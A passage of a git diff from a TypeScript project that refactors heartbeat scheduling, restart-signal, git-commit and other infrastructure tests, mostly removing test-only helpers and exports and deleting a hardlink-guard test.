resetGatewaySuspendCoordinatorForLifecycleRestart(): void { - resetGatewaySuspendCoordinator("lifecycle"); -} - -export function resetGatewaySuspendCoordinatorForTest(): void { - resetGatewaySuspendCoordinator("test"); + resetGatewaySuspendCoordinator(); } diff --git a/src/infra/git-commit.test.ts b/src/infra/git-commit.test.ts index a73ad2c5640f..1d0ed15e7f7c 100644 --- a/src/infra/git-commit.test.ts +++ b/src/infra/git-commit.test.ts @@ -3,7 +3,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import process from "node:process"; import { pathToFileURL } from "node:url"; -import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { createTrackedTempDirs } from "../test-utils/tracked-temp-dirs.js"; const tempDirs = createTrackedTempDirs(); @@ -58,26 +58,19 @@ async function makeFakeOpenClawPackage(root: string) { describe("git commit resolution", () => { let resolveCommitHash: (typeof import("./git-commit.js"))["resolveCommitHash"]; - let testing: (typeof import("./git-commit.js"))["testing"]; - beforeAll(async () => { - vi.doUnmock("node:fs"); - vi.doUnmock("node:module"); - ({ resolveCommitHash, testing } = await import("./git-commit.js")); - }); - - beforeEach(() => { + beforeEach(async () => { vi.restoreAllMocks(); vi.doUnmock("node:fs"); vi.doUnmock("node:module"); - testing.clearCachedGitCommits(); + vi.resetModules(); + ({ resolveCommitHash } = await import("./git-commit.js")); }); afterEach(async () => { vi.restoreAllMocks(); vi.doUnmock("node:fs"); vi.doUnmock("node:module"); - testing.clearCachedGitCommits(); await tempDirs.cleanup(); }); diff --git a/src/infra/git-commit.ts b/src/infra/git-commit.ts index 34428f27c393..7dd717516baa 100644 --- a/src/infra/git-commit.ts +++ b/src/infra/git-commit.ts @@ -24,7 +24,7 @@ const formatCommit = (value?: string | null) => { const cachedGitCommitBySearchDir = new Map(); -export type CommitMetadataReaders = { +type CommitMetadataReaders = { readGitCommit?: (searchDir: string, packageRoot: string | null) => string | null | undefined; readBuildInfoCommit?: () => string | null; readPackageJsonCommit?: () => string | null; @@ -68,11 +68,6 @@ const cacheGitCommit = (searchDir: string, commit: string | null) => { cachedGitCommitBySearchDir.set(searchDir, commit); return commit; }; - -const clearCachedGitCommits = () => { - cachedGitCommitBySearchDir.clear(); -}; - const resolveGitLookupDepth = (searchDir: string, packageRoot: string | null) => { if (!packageRoot) { return undefined; @@ -257,7 +252,3 @@ export const resolveCommitHash = ( return cacheGitCommit(searchDir, null); } }; - -export const testing = { - clearCachedGitCommits, -}; diff --git a/src/infra/hardlink-guards.test.ts b/src/infra/hardlink-guards.test.ts deleted file mode 100644 index 75ff7c1a8783..000000000000 --- a/src/infra/hardlink-guards.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -// Tests hardlink guard detection for unsafe filesystem paths. -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; -import { describe, expect, it, vi } from "vitest"; -import { withTempDir } from "../test-helpers/temp-dir.js"; -import { assertNoHardlinkedFinalPath } from "./fs-safe-advanced.js"; - -async function withHardlinkFixture( - cb: (context: { root: string; source: string; linked: string; dirPath: string }) => Promise, -): Promise { - await withTempDir({ prefix: "openclaw-hardlink-guards-" }, async (root) => { - const dirPath = path.join(root, "dir"); - const source = path.join(root, "source.txt"); - const linked = path.join(root, "linked.txt"); - await fs.mkdir(dirPath); - await fs.writeFile(source, "hello", "utf8"); - await fs.link(source, linked); - await cb({ root, source, linked, dirPath }); - }); -} - -describe("assertNoHardlinkedFinalPath", () => { - it.each([ - { - name: "allows missing paths", - filePath: ({ root }: { root: string }) => path.join(root, "missing.txt"), - opts: {}, - }, - { - name: "allows directories", - filePath: ({ dirPath }: { dirPath: string }) => dirPath, - opts: {}, - }, - { - name: "allows explicit unlink opt-in", - filePath: ({ linked }: { linked: string }) => linked, - opts: { allowFinalHardlinkForUnlink: true }, - }, - ])("$name", async ({ filePath, opts }) => { - await withHardlinkFixture(async (context) => { - await expect( - assertNoHardlinkedFinalPath({ - filePath: filePath(context), - root: context.root, - boundaryLabel: "workspace", - ...opts, - }), - ).resolves.toBeUndefined(); - }); - }); - - it("rejects hardlinked files and shortens home-relative paths in the error", async () => { - await withHardlinkFixture(async ({ root, linked }) => { - const homedirSpy = vi.spyOn(os, "homedir").mockReturnValue(root); - const expectedLinkedPath = path.join("~", "linked.txt"); - - try { - await expect( - assertNoHardlinkedFinalPath({ - filePath: linked, - root, - boundaryLabel: "workspace", - }), - ).rejects.toThrow( - `Hardlinked path is not allowed under workspace (~): ${expectedLinkedPath}`, - ); - } finally { - homedirSpy.mockRestore(); - } - }); - }); -}); diff --git a/src/infra/heartbeat-cooldown.test.ts b/src/infra/heartbeat-cooldown.test.ts index d465c271cbb4..60c3554ddb33 100644 --- a/src/infra/heartbeat-cooldown.test.ts +++ b/src/infra/heartbeat-cooldown.test.ts @@ -1,11 +1,6 @@ // Covers heartbeat wake cooldown and flood-deferral decisions. import { describe, expect, it } from "vitest"; -import { - DEFAULT_FLOOD_THRESHOLD, - DEFAULT_MIN_WAKE_SPACING_MS, - recordRunStart, - shouldDeferWake, -} from "./heartbeat-cooldown.js"; +import { recordRunStart, shouldDeferWake } from "./heartbeat-cooldown.js"; describe("shouldDeferWake", () => { type Input = Parameters[0]; @@ -269,27 +264,22 @@ describe("shouldDeferWake", () => { }); describe("min-spacing floor", () => { - it("defers with 'min-spacing' when last run started within floor (post-cooldown race)", () => { - // nextDueMs has just been crossed, but a run started ~10s ago — second - // wake landed before the schedule advanced. + it("defers recent runs at the default spacing floor", () => { expect( decide({ source: "exec-event", now: 200_000, nextDueMs: 199_999, - lastRunStartedAtMs: 200_000 - DEFAULT_MIN_WAKE_SPACING_MS + 100, + lastRunStartedAtMs: 170_100, reason: "exec-event", }), ).toEqual({ defer: true, reason: "min-spacing" }); - }); - - it("does not defer when last run is older than min-spacing", () => { expect( decide({ source: "exec-event", now: 200_000, nextDueMs: 199_999, - lastRunStartedAtMs: 200_000 - DEFAULT_MIN_WAKE_SPACING_MS - 1, + lastRunStartedAtMs: 169_999, reason: "exec-event", }), ).toEqual({ defer: false }); @@ -322,58 +312,25 @@ describe("shouldDeferWake", () => { }); describe("flood guard", () => { - it("defers with 'flood' when threshold runs land within window", () => { + it("defers at the default threshold only while starts remain in the flood window", () => { const now = 1_000_000; - const recentRunStarts = [ - now - 50_000, - now - 40_000, - now - 30_000, - now - 20_000, - now - 10_000, - ]; expect( decide({ source: "exec-event", now, nextDueMs: 0, - lastRunStartedAtMs: now - DEFAULT_MIN_WAKE_SPACING_MS - 1, - recentRunStarts, + lastRunStartedAtMs: now - 30_001, + recentRunStarts: [now - 50_000, now - 40_000, now - 30_000, now - 20_000, now - 10_000], reason: "exec-event", }), ).toEqual({ defer: true, reason: "flood" }); - }); - - it("does not flood-defer when recent runs are spread outside window", () => { - const now = 1_000_000; - const recentRunStarts = [ - now - 300_000, - now - 240_000, - now - 180_000, - now - 120_000, - now - 65_000, // just outside default 60s window - ]; expect( decide({ source: "exec-event", now, nextDueMs: 0, - lastRunStartedAtMs: now - DEFAULT_MIN_WAKE_SPACING_MS - 1, - recentRunStarts, - reason: "exec-event", - }), - ).toEqual({ defer: false }); - }); - - it("does not flood-defer below threshold", () => { - const now = 1_000_000; - const recentRunStarts = [now - 30_000, now - 20_000, now - 10_000]; - expect( - decide({ - source: "exec-event", - now, - nextDueMs: 0, - lastRunStartedAtMs: now - DEFAULT_MIN_WAKE_SPACING_MS - 1, - recentRunStarts, + lastRunStartedAtMs: now - 30_001, + recentRunStarts: [now - 65_000, now - 40_000, now - 30_000, now - 20_000, now - 10_000], reason: "exec-event", }), ).toEqual({ defer: false }); @@ -382,13 +339,12 @@ describe("shouldDeferWake", () => { }); describe("recordRunStart", () => { - it("trims buffer to threshold + 1 entries", () => { + it("bounds the default flood buffer", () => { const buffer: number[] = []; - for (let i = 1; i <= DEFAULT_FLOOD_THRESHOLD + 5; i++) { - recordRunStart(buffer, i); + for (let value = 1; value <= 10; value += 1) { + recordRunStart(buffer, value); } - expect(buffer.length).toBe(DEFAULT_FLOOD_THRESHOLD + 1); - expect(buffer[buffer.length - 1]).toBe(DEFAULT_FLOOD_THRESHOLD + 5); + expect(buffer).toEqual([5, 6, 7, 8, 9, 10]); }); it("preserves insertion order", () => { diff --git a/src/infra/heartbeat-cooldown.ts b/src/infra/heartbeat-cooldown.ts index 8d0a731faae1..b874beeb2656 100644 --- a/src/infra/heartbeat-cooldown.ts +++ b/src/infra/heartbeat-cooldown.ts @@ -17,20 +17,20 @@ import type { HeartbeatWakeIntent, HeartbeatWakeSource } from "./heartbeat-wake. // Default minimum spacing between heartbeat runs for the same agent, regardless // of configured `every`. Even when `nextDueMs` is enforced, two wakes arriving // within milliseconds can race the schedule update; this floor prevents that. -export const DEFAULT_MIN_WAKE_SPACING_MS = 30_000; +const DEFAULT_MIN_WAKE_SPACING_MS = 30_000; // Flood guard: if more than this many wakes for the same agent fall within the // flood window, the dispatcher logs a warning and forces the wake to defer to // the next scheduled tick. Tuned so a normal heartbeat that legitimately uses // `manual` retry doesn't trip it but a feedback loop does. const DEFAULT_FLOOD_WINDOW_MS = 60_000; -export const DEFAULT_FLOOD_THRESHOLD = 5; +const DEFAULT_FLOOD_THRESHOLD = 5; export type DeferDecision = | { defer: false } | { defer: true; reason: "not-due" | "min-spacing" | "flood" }; -export type ShouldDeferInput = { +type ShouldDeferInput = { /** Scheduler behavior requested by the wake producer. */ intent: HeartbeatWakeIntent; /** Wake producer, used for diagnostics and future source-specific telemetry. */ diff --git a/src/infra/heartbeat-runner.active-hours-schedule.e2e.test.ts b/src/infra/heartbeat-runner.active-hours-schedule.e2e.test.ts index df4cb05526e2..d3d2dda29215 100644 --- a/src/infra/heartbeat-runner.active-hours-schedule.e2e.test.ts +++ b/src/infra/heartbeat-runner.active-hours-schedule.e2e.test.ts @@ -5,7 +5,6 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { startHeartbeatRunner } from "./heartbeat-runner.js"; import { computeNextHeartbeatPhaseDueMs, resolveHeartbeatPhaseMs } from "./heartbeat-schedule.js"; -import { resetHeartbeatWakeStateForTests } from "./heartbeat-wake.js"; /** Verifies that the scheduler seeks to in-window phase slots (#75487). */ describe("heartbeat scheduler: activeHours-aware scheduling (#75487)", () => { @@ -48,7 +47,6 @@ describe("heartbeat scheduler: activeHours-aware scheduling (#75487)", () => { } afterEach(() => { - resetHeartbeatWakeStateForTests(); vi.useRealTimers(); vi.restoreAllMocks(); }); diff --git a/src/infra/heartbeat-runner.commitments.test.ts b/src/infra/heartbeat-runner.commitments.test.ts index c9a287c08fc5..743f94fe1857 100644 --- a/src/infra/heartbeat-runner.commitments.test.ts +++ b/src/infra/heartbeat-runner.commitments.test.ts @@ -24,7 +24,7 @@ import { seedSessionStore, withTempHeartbeatSandbox, } from "./heartbeat-runner.test-utils.js"; -import { requestHeartbeat, resetHeartbeatWakeStateForTests } from "./heartbeat-wake.js"; +import { requestHeartbeat } from "./heartbeat-wake.js"; import { enqueueSystemEvent, peekSystemEventEntries, @@ -38,7 +38,6 @@ describe("runHeartbeatOnce commitments", () => { const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]); afterEach(() => { - resetHeartbeatWakeStateForTests(); setHeartbeatsEnabled(true); vi.useRealTimers(); vi.unstubAllEnvs(); diff --git a/src/infra/heartbeat-runner.scheduler.test.ts b/src/infra/heartbeat-runner.scheduler.test.ts index 4be673497bb4..4bf74c241434 100644 --- a/src/infra/heartbeat-runner.scheduler.test.ts +++ b/src/infra/heartbeat-runner.scheduler.test.ts @@ -11,12 +11,13 @@ import { computeNextHeartbeatPhaseDueMs, resolveHeartbeatPhaseMs } from "./heart import { HEARTBEAT_SKIP_CRON_IN_PROGRESS, HEARTBEAT_SKIP_REQUESTS_IN_FLIGHT, - type RetryableHeartbeatBusySkipReason, requestHeartbeat, - resetHeartbeatWakeStateForTests, } from "./heartbeat-wake.js"; describe("startHeartbeatRunner", () => { + type RetryableHeartbeatBusySkipReason = + | typeof HEARTBEAT_SKIP_CRON_IN_PROGRESS + | typeof HEARTBEAT_SKIP_REQUESTS_IN_FLIGHT; type RunOnce = Parameters[0]["runOnce"]; type MockRunOnce = RunOnce & { mock: { calls: unknown[][] } }; const TEST_SCHEDULER_SEED = "heartbeat-runner-test-seed"; @@ -169,7 +170,6 @@ describe("startHeartbeatRunner", () => { } afterEach(() => { - resetHeartbeatWakeStateForTests(); resetConfigRuntimeState(); vi.useRealTimers(); vi.restoreAllMocks(); diff --git a/src/infra/heartbeat-runner.timeout-warning.test.ts b/src/infra/heartbeat-runner.timeout-warning.test.ts index 5fafdbfabf68..97ec6b86100f 100644 --- a/src/infra/heartbeat-runner.timeout-warning.test.ts +++ b/src/infra/heartbeat-runner.timeout-warning.test.ts @@ -43,10 +43,7 @@ describe("startHeartbeatRunner timeout overflow warnings", () => { }; }); - const [{ startHeartbeatRunner }, { resetHeartbeatWakeStateForTests }] = await Promise.all([ - import("./heartbeat-runner.js"), - import("./heartbeat-wake.js"), - ]); + const { startHeartbeatRunner } = await import("./heartbeat-runner.js"); vi.useFakeTimers(); vi.setSystemTime(new Date(0)); @@ -66,6 +63,5 @@ describe("startHeartbeatRunner timeout overflow warnings", () => { runnerA.stop(); runnerB.stop(); - resetHeartbeatWakeStateForTests(); }); }); diff --git a/src/infra/heartbeat-wake.test.ts b/src/infra/heartbeat-wake.test.ts index 122828f59cab..fc1a97d19ca3 100644 --- a/src/infra/heartbeat-wake.test.ts +++ b/src/infra/heartbeat-wake.test.ts @@ -9,15 +9,26 @@ import { HEARTBEAT_SKIP_CRON_IN_PROGRESS, HEARTBEAT_SKIP_LANES_BUSY, HEARTBEAT_SKIP_REQUESTS_IN_FLIGHT, - hasHeartbeatWakeHandler, - hasPendingHeartbeatWake, requestHeartbeat, - resetHeartbeatWakeStateForTests, - setHeartbeatWakeHandler, + setHeartbeatWakeHandler as setRuntimeHeartbeatWakeHandler, } from "./heartbeat-wake.js"; describe("heartbeat-wake", () => { + type HeartbeatWakeHandler = Parameters[0]; type WakeRequest = Parameters[0]; + let currentHandlerDisposer: (() => void) | undefined; + + function setHeartbeatWakeHandler(handler: HeartbeatWakeHandler): () => void { + const dispose = setRuntimeHeartbeatWakeHandler(handler); + currentHandlerDisposer = dispose; + return () => { + dispose(); + if (currentHandlerDisposer === dispose) { + currentHandlerDisposer = undefined; + } + }; + } + function wake(reason: string, opts: Partial = {}): WakeRequest { const source = opts.source ?? @@ -77,16 +88,39 @@ describe("heartbeat-wake", () => { beforeEach(() => { resetGatewayWorkAdmission(); - resetHeartbeatWakeStateForTests(); }); - afterEach(() => { - resetHeartbeatWakeStateForTests(); + afterEach(async () => { resetGatewayWorkAdmission(); + if (vi.isFakeTimers()) { + currentHandlerDisposer?.(); + currentHandlerDisposer = setRuntimeHeartbeatWakeHandler(async () => ({ + status: "skipped", + reason: "disabled", + })); + await vi.runAllTimersAsync(); + } + currentHandlerDisposer?.(); + currentHandlerDisposer = undefined; vi.useRealTimers(); vi.restoreAllMocks(); }); + it("drains a pending wake once a handler is registered", async () => { + vi.useFakeTimers(); + + requestHeartbeat(wake("manual", { coalesceMs: 0 })); + await vi.advanceTimersByTimeAsync(1); + + const handler = vi.fn().mockResolvedValue({ status: "skipped", reason: "disabled" }); + setHeartbeatWakeHandler(handler); + await vi.advanceTimersByTimeAsync(249); + expect(handler).not.toHaveBeenCalled(); + await vi.advanceTimersByTimeAsync(1); + expect(handler).toHaveBeenCalledOnce(); + expect(handler).toHaveBeenCalledWith(wake("manual")); + }); + it("defers a full wake while gateway suspension is prepared", async () => { vi.useFakeTimers(); const activeRootCounts: number[] = []; @@ -139,7 +173,7 @@ describe("heartbeat-wake", () => { expect(getActiveGatewayRootWorkCount()).toBe(0); }); - it("coalesces multiple wake requests into one run", async () => { + it("coalesces multiple wake requests into one highest-priority run", async () => { vi.useFakeTimers(); const handler = vi.fn().mockResolvedValue({ status: "skipped", reason: "disabled" }); setHeartbeatWakeHandler(handler); @@ -148,15 +182,11 @@ describe("heartbeat-wake", () => { requestHeartbeat(wake("exec-event", { coalesceMs: 200 })); requestHeartbeat(wake("retry", { coalesceMs: 200 })); - expect(hasPendingHeartbeatWake()).toBe(true); - await vi.advanceTimersByTimeAsync(199); expect(handler).not.toHaveBeenCalled(); - await vi.advanceTimersByTimeAsync(1); - expect(handler).toHaveBeenCalledTimes(1); + expect(handler).toHaveBeenCalledOnce(); expect(handler).toHaveBeenCalledWith(wake("exec-event")); - expect(hasPendingHeartbeatWake()).toBe(false); }); it("retries requests-in-flight after the default retry delay", async () => { @@ -219,32 +249,6 @@ describe("heartbeat-wake", () => { }); }); - it("stale disposer does not clear a newer handler", async () => { - vi.useFakeTimers(); - const handlerA = vi.fn().mockResolvedValue({ status: "ran", durationMs: 1 }); - const handlerB = vi.fn().mockResolvedValue({ status: "ran", durationMs: 1 }); - - // Runner A registers its handler - const disposeA = setHeartbeatWakeHandler(handlerA); - - // Runner B registers its handler (replaces A) - const disposeB = setHeartbeatWakeHandler(handlerB); - - // Runner A's stale cleanup runs — should NOT clear handlerB - disposeA(); - expect(hasHeartbeatWakeHandler()).toBe(true); - - // handlerB should still work - requestHeartbeat(wake("interval", { coalesceMs: 0 })); - await vi.advanceTimersByTimeAsync(1); - expect(handlerB).toHaveBeenCalledTimes(1); - expect(handlerA).not.toHaveBeenCalled(); - - // Runner B's dispose should work - disposeB(); - expect(hasHeartbeatWakeHandler()).toBe(false); - }); - it("preempts existing timer when a sooner schedule is requested", async () => { vi.useFakeTimers(); const handler = vi.fn().mockResolvedValue({ status: "ran", durationMs: 1 }); @@ -335,6 +339,21 @@ describe("heartbeat-wake", () => { await Promise.resolve(); }); + it("does not let a stale disposer clear a newer handler", async () => { + vi.useFakeTimers(); + const handlerA = vi.fn().mockResolvedValue({ status: "ran", durationMs: 1 }); + const handlerB = vi.fn().mockResolvedValue({ status: "ran", durationMs: 1 }); + const disposeA = setHeartbeatWakeHandler(handlerA); + setHeartbeatWakeHandler(handlerB); + + disposeA(); + requestHeartbeat(wake("interval", { coalesceMs: 0 })); + await vi.advanceTimersByTimeAsync(1); + + expect(handlerA).not.toHaveBeenCalled(); + expect(handlerB).toHaveBeenCalledOnce(); + }); + it("clears stale retry cooldown when a new handler is registered", async () => { vi.useFakeTimers(); const handlerA = vi @@ -356,25 +375,6 @@ describe("heartbeat-wake", () => { expect(handlerB).toHaveBeenCalledWith(wake("manual")); }); - it("drains pending wake once a handler is registered", async () => { - vi.useFakeTimers(); - - requestHeartbeat(wake("manual", { coalesceMs: 0 })); - await vi.advanceTimersByTimeAsync(1); - expect(hasPendingHeartbeatWake()).toBe(true); - - const handler = vi.fn().mockResolvedValue({ status: "skipped", reason: "disabled" }); - setHeartbeatWakeHandler(handler); - - await vi.advanceTimersByTimeAsync(249); - expect(handler).not.toHaveBeenCalled(); - - await vi.advanceTimersByTimeAsync(1); - expect(handler).toHaveBeenCalledTimes(1); - expect(handler).toHaveBeenCalledWith(wake("manual")); - expect(hasPendingHeartbeatWake()).toBe(false); - }); - it("forwards wake target fields and preserves them across retries", async () => { vi.useFakeTimers(); const handler = setRetryOnceHeartbeatHandler(); diff --git a/src/infra/heartbeat-wake.ts b/src/infra/heartbeat-wake.ts index 449240903a06..3bbfc6e36806 100644 --- a/src/infra/heartbeat-wake.ts +++ b/src/infra/heartbeat-wake.ts @@ -12,11 +12,6 @@ export type HeartbeatRunResult = export const HEARTBEAT_SKIP_REQUESTS_IN_FLIGHT = "requests-in-flight"; export const HEARTBEAT_SKIP_CRON_IN_PROGRESS = "cron-in-progress"; export const HEARTBEAT_SKIP_LANES_BUSY = "lanes-busy"; -export type RetryableHeartbeatBusySkipReason = - | typeof HEARTBEAT_SKIP_REQUESTS_IN_FLIGHT - | typeof HEARTBEAT_SKIP_CRON_IN_PROGRESS - | typeof HEARTBEAT_SKIP_LANES_BUSY; - const RETRYABLE_BUSY_SKIP_REASONS = new Set([ HEARTBEAT_SKIP_REQUESTS_IN_FLIGHT, HEARTBEAT_SKIP_CRON_IN_PROGRESS, @@ -45,7 +40,7 @@ export type HeartbeatWakeSource = | "retry" | "other"; -export type HeartbeatWakeOverride = { +type HeartbeatWakeOverride = { target?: string; to?: string | undefined; accountId?: string | undefined; @@ -340,25 +335,3 @@ export function requestHeartbeat(opts: { }); schedule(opts.coalesceMs ?? DEFAULT_COALESCE_MS, "normal"); } - -export function hasHeartbeatWakeHandler() { - return handler !== null; -} - -export function hasPendingHeartbeatWake() { - return pendingWakes.size > 0 || Boolean(timer) || scheduled; -} - -export function resetHeartbeatWakeStateForTests() { - if (timer) { - clearTimeout(timer); - } - timer = null; - timerDueAt = null; - timerKind = null; - pendingWakes.clear(); - scheduled = false; - running = false; - handlerGeneration += 1; - handler = null; -} diff --git a/src/infra/host-env-security.test.ts b/src/infra/host-env-security.test.ts index c977291b541f..d3a732383c0c 100644 --- a/src/infra/host-env-security.test.ts +++ b/src/infra/host-env-security.test.ts @@ -13,7 +13,8 @@ import { sanitizeHostExecEnvWithDiagnostics, sanitizeSystemRunEnvOverrides, } from "./host-env-security.js"; -import { OPENCLAW_CLI_ENV_VALUE } from "./openclaw-exec-env.js"; + +const OPENCLAW_CLI_ENV_VALUE = "1"; function findSystemCommandPath(command: string) { if (process.platform === "win32") { diff --git a/src/infra/infra-runtime.test.ts b/src/infra/infra-runtime.test.ts index 43676d3fdd64..4d90ca7e8bbc 100644 --- a/src/infra/infra-runtime.test.ts +++ b/src/infra/infra-runtime.test.ts @@ -1,31 +1,25 @@ +import { importFreshModule } from "openclaw/plugin-sdk/test-fixtures"; // Tests infra runtime loading and platform-dependent helpers. -import os from "node:os"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - clearConfigCache, - clearRuntimeConfigSnapshot, - setRuntimeConfigSnapshot, -} from "../config/config.js"; +import { clearRuntimeConfigSnapshot, setRuntimeConfigSnapshot } from "../config/config.js"; import { isGatewayWorkAdmissionClosed, + resetGatewayWorkAdmission, tryBeginGatewayRootWorkAdmission, } from "../process/gateway-work-admission.js"; -import { makeNetworkInterfacesSnapshot } from "../test-helpers/network-interfaces.js"; -import { - testing, - consumeGatewaySigusr1RestartIntent, - consumeGatewaySigusr1RestartAuthorization, - deferGatewayRestartUntilIdle, - emitGatewayRestart, - isGatewaySigusr1RestartExternallyAllowed, - markGatewaySigusr1RestartHandled, - peekGatewaySigusr1RestartReason, - requestGatewayRestartWithSignalAdmission, - scheduleGatewaySigusr1Restart, - setGatewaySigusr1RestartPolicy, - setPreRestartDeferralCheck, -} from "./restart.js"; -import { listTailnetAddresses } from "./tailnet.js"; +type RestartModule = typeof import("./restart.js"); + +let consumeGatewaySigusr1RestartIntent: RestartModule["consumeGatewaySigusr1RestartIntent"]; +let consumeGatewaySigusr1RestartAuthorization: RestartModule["consumeGatewaySigusr1RestartAuthorization"]; +let deferGatewayRestartUntilIdle: RestartModule["deferGatewayRestartUntilIdle"]; +let isGatewaySigusr1RestartExternallyAllowed: RestartModule["isGatewaySigusr1RestartExternallyAllowed"]; +let markGatewaySigusr1RestartHandled: RestartModule["markGatewaySigusr1RestartHandled"]; +let peekGatewaySigusr1RestartReason: RestartModule["peekGatewaySigusr1RestartReason"]; +let requestGatewayRestartWithSignalAdmission: RestartModule["requestGatewayRestartWithSignalAdmission"]; +let scheduleGatewaySigusr1Restart: RestartModule["scheduleGatewaySigusr1Restart"]; +let setGatewaySigusr1RestartPolicy: RestartModule["setGatewaySigusr1RestartPolicy"]; +let setPreRestartDeferralCheck: RestartModule["setPreRestartDeferralCheck"]; +let freshRestartModuleId = 0; const relaunchGatewayScheduledTaskMock = vi.hoisted(() => vi.fn()); const cleanStaleGatewayProcessesSyncMock = vi.hoisted(() => vi.fn()); @@ -66,16 +60,6 @@ function withoutSigusr1Listeners(fn: () => void): void { } } -function countSigusr1Emits(calls: readonly unknown[][]): number { - let count = 0; - for (const args of calls) { - if (args[0] === "SIGUSR1") { - count += 1; - } - } - return count; -} - function withRestartSupervisorEnabled(fn: () => void): void { const originalVitest = process.env.VITEST; const originalNodeEnv = process.env.NODE_ENV; @@ -97,25 +81,51 @@ function withRestartSupervisorEnabled(fn: () => void): void { } } +function countSigusr1Emits(calls: readonly unknown[][]): number { + let count = 0; + for (const args of calls) { + if (args[0] === "SIGUSR1") { + count += 1; + } + } + return count; +} + describe("infra runtime", () => { function setupRestartSignalSuite() { - beforeEach(() => { - testing.resetSigusr1State(); + beforeEach(async () => { + const restart = await importFreshModule( + import.meta.url, + `./restart.js?infra-runtime=${freshRestartModuleId++}`, + ); + ({ + consumeGatewaySigusr1RestartIntent, + consumeGatewaySigusr1RestartAuthorization, + deferGatewayRestartUntilIdle, + isGatewaySigusr1RestartExternallyAllowed, + markGatewaySigusr1RestartHandled, + peekGatewaySigusr1RestartReason, + requestGatewayRestartWithSignalAdmission, + scheduleGatewaySigusr1Restart, + setGatewaySigusr1RestartPolicy, + setPreRestartDeferralCheck, + } = restart); relaunchGatewayScheduledTaskMock.mockReset(); relaunchGatewayScheduledTaskMock.mockReturnValue({ ok: true, method: "schtasks" }); cleanStaleGatewayProcessesSyncMock.mockReset(); cleanStaleGatewayProcessesSyncMock.mockReturnValue([]); findGatewayPidsOnPortSyncMock.mockReset(); findGatewayPidsOnPortSyncMock.mockReturnValue([]); + setGatewaySigusr1RestartPolicy({ allowExternal: false }); vi.useFakeTimers(); vi.spyOn(process, "kill").mockImplementation(() => true); }); - afterEach(async () => { - testing.resetSigusr1State(); + afterEach(() => { + vi.clearAllTimers(); + markGatewaySigusr1RestartHandled(); + resetGatewayWorkAdmission(); clearRuntimeConfigSnapshot(); - clearConfigCache(); - await vi.runOnlyPendingTimersAsync(); vi.useRealTimers(); if (originalPlatformDescriptor) { Object.defineProperty(process, "platform", originalPlatformDescriptor); @@ -188,9 +198,8 @@ describe("infra runtime", () => { markGatewaySigusr1RestartHandled(); - expect(emitGatewayRestart()).toBe(true); - const sigusr1Emits = emitSpy.mock.calls.filter((args) => args[0] === "SIGUSR1"); - expect(sigusr1Emits.length).toBe(2); + expect(requestGatewayRestartWithSignalAdmission()).toEqual({ status: "emitted" }); + expect(countSigusr1Emits(emitSpy.mock.calls)).toBe(2); } finally { process.removeListener("SIGUSR1", handler); } @@ -202,7 +211,7 @@ describe("infra runtime", () => { const handler = () => {}; process.on("SIGUSR1", handler); try { - expect(emitGatewayRestart()).toBe(true); + expect(requestGatewayRestartWithSignalAdmission()).toEqual({ status: "emitted" }); expect(emitSpy).toHaveBeenCalledWith("SIGUSR1"); expect(relaunchGatewayScheduledTaskMock).not.toHaveBeenCalled(); } finally { @@ -216,7 +225,9 @@ describe("infra runtime", () => { withRestartSupervisorEnabled(() => { relaunchGatewayScheduledTaskMock.mockReturnValueOnce({ ok: true, method: "schtasks" }); - expect(emitGatewayRestart("windows-fallback")).toBe(true); + expect(requestGatewayRestartWithSignalAdmission("windows-fallback")).toEqual({ + status: "emitted", + }); expect(relaunchGatewayScheduledTaskMock).toHaveBeenCalledTimes(1); expect(consumeGatewaySigusr1RestartAuthorization()).toBe(false); @@ -298,7 +309,11 @@ describe("infra runtime", () => { const beforeEmit = vi.fn(async () => { await preparationBlocked; }); - const handler = () => {}; + let resolveSignal: () => void = () => {}; + const signalEmitted = new Promise((resolve) => { + resolveSignal = resolve; + }); + const handler = () => resolveSignal(); process.on("SIGUSR1", handler); try { scheduleGatewaySigusr1Restart({ @@ -318,8 +333,7 @@ describe("infra runtime", () => { expect(update.coalesced).toBe(true); releasePreparation(); - await Promise.resolve(); - await Promise.resolve(); + await signalEmitted; expect(peekGatewaySigusr1RestartReason()).toBe("update.auto"); } finally { @@ -327,29 +341,6 @@ describe("infra runtime", () => { } }); - it("preserves update restart reason when an in-flight intent coalesces", () => { - const handler = () => {}; - process.on("SIGUSR1", handler); - try { - expect( - emitGatewayRestart("config reload forced restart", { - force: true, - reason: "config reload forced restart", - }), - ).toBe(true); - const update = scheduleGatewaySigusr1Restart({ delayMs: 0, reason: "update.run" }); - - expect(update.coalesced).toBe(true); - expect(peekGatewaySigusr1RestartReason()).toBe("update.run"); - expect(consumeGatewaySigusr1RestartIntent()).toEqual({ - force: true, - reason: "update.run", - }); - } finally { - process.removeListener("SIGUSR1", handler); - } - }); - it("runs restart preparation only when the scheduled restart emits", async () => { const beforeEmit = vi.fn(async () => {}); const emitSpy = vi.spyOn(process, "emit"); @@ -1226,22 +1217,4 @@ describe("infra runtime", () => { } }); }); - - describe("tailnet address detection", () => { - it("detects tailscale IPv4 and IPv6 addresses", () => { - vi.spyOn(os, "networkInterfaces").mockReturnValue( - makeNetworkInterfacesSnapshot({ - lo0: [{ address: "127.0.0.1", family: "IPv4", internal: true }], - utun9: [ - { address: "100.123.224.76", family: "IPv4" }, - { address: "fd7a:115c:a1e0::8801:e04c", family: "IPv6" }, - ], - }), - ); - - const out = listTailnetAddresses(); - expect(out.ipv4).toEqual(["100.123.224.76"]); - expect(out.ipv6).toEqual(["fd7a:115c:a1e0::8801:e04c"]); - }); - }); }); diff --git a/src/infra/infra-store.test.ts b/src/infra/infra-store.test.ts index dc190e423675..3c87037da96c 100644 --- a/src/infra/infra-store.test.ts +++ b/src/infra/infra-store.test.ts @@ -18,7 +18,6 @@ import { import { readSessionStoreJson5 } from "./state-migrations.fs.js"; import { loadVoiceWakeRoutingConfig, - normalizeVoiceWakeTriggerWord, resolveVoiceWakeRouteByTrigger, setVoiceWakeRoutingConfig, } from "./voicewake-routing.js"; @@ -150,17 +149,17 @@ describe("infra store", () => { }); it("resolves routes by normalized trigger", () => { - const result = 